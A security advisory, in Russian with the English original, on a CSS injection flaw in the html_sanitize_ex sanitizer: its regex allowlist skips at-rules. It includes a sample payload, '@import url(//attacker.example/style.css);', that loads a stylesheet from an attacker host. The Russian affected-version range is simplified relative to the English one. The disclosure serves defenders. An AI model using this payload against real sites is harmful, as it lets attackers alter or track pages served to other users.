Уязвимость «Неправильная нейтрализация специальных элементов в выводе, используемых нижестоящим компонентом» («Внедрение») в очистителе CSS в rrrene html_sanitize_ex позволяет неаутентифицированному удаленному злоумышленнику внедрить at-правила CSS, включая импорт удаленной таблицы стилей, в страницу, предоставляемую другим пользователям. HtmlSanitizeEx.Scrubber.CSS.scrub/1 применяет список разрешенных свойств и значений через Regex.replace к подстрокам, соответствующим шаблону объявления свойства: значение, поэтому входные данные, не соответствующие этому шаблону, никогда не проверяются и копируются в выходные данные без изменений. @import URL(//attacker.example/style.css); сохраняется, в то время как тот же URL-адрес внутри объявления background: url(...) удаляется.
Границы элементов разрешаются до запуска скруббера, поэтому введенный контент не выходит за пределы элемента <style> и ни один скрипт не выполняется.
Эта проблема затрагивает html_sanitize_ex: с 0.3.1 до 1.5.4.
Показать оригинальное описание (EN)
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Характеристики атаки
Последствия
Строка CVSS v4.0
Тип уязвимости (CWE)
Уязвимые продукты 1
| Конфигурация | От (включительно) | До (исключительно) |
|---|---|---|
|
Rrrene Htmlsanitizeex
cpe:2.3:a:rrrene:htmlsanitizeex:*:*:*:*:*:*:*:*
|
0.3.1
|
1.5.4
|